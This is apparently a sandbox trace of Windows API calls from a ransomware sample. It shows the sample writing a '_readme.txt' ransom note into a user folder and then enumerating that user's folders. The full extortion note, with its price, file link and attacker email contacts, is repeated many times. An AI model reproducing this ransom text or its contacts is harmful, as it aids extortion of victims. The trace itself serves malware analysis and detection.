RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.628] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316ad60 [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.628] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.628] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.628] PathFindFileNameW (pszPath="") returned="" [0066.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.628] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.629] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.629] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.629] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.629] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0066.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.629] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 0 [0066.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.629] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.629] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3248800 [0066.629] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.630] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.630] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.631] CloseHandle (hObject=0x5c4) returned 1 [0066.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0066.631] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb33ef210, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0066.631] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb33ef210, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.631] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0066.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0066.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x32602f8 [0066.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d708 [0066.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0066.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e050 | out: hHeap=0x5d0000) returned 1 [0066.631] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cb20 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ce60 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x38) returned 0x31befa0 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d708 | out: hHeap=0x5d0000) returned 1 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ce60 | out: hHeap=0x5d0000) returned 1 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb20 | out: hHeap=0x5d0000) returned 1 [0066.632] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d708 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x54) returned 0x3285c68 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e1b0 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cb20 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e050 | out: hHeap=0x5d0000) returned 1 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31befa0 | out: hHeap=0x5d0000) returned 1 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d708 | out: hHeap=0x5d0000) returned 1 [0066.632] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d708 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e1b0 | out: hHeap=0x5d0000) returned 1 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb20 | out: hHeap=0x5d0000) returned 1 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e050 | out: hHeap=0x5d0000) returned 1 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3285c68 | out: hHeap=0x5d0000) returned 1 [0066.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0066.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d708 | out: hHeap=0x5d0000) returned 1 [0066.633] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd4bcc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9dd4bcc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d708 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa8) returned 0x315d2d0 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e1b0 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cb20 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d918 [0066.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d5a8 | out: hHeap=0x5d0000) returned 1 [0066.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d868 | out: hHeap=0x5d0000) returned 1 [0066.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e050 | out: hHeap=0x5d0000) returned 1 [0066.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0066.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d708 | out: hHeap=0x5d0000) returned 1 [0066.633] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96562880, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96562880, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d708 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x76) returned 0x3282148 [0066.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d708 | out: hHeap=0x5d0000) returned 1 [0066.633] RtlAllocateHeap 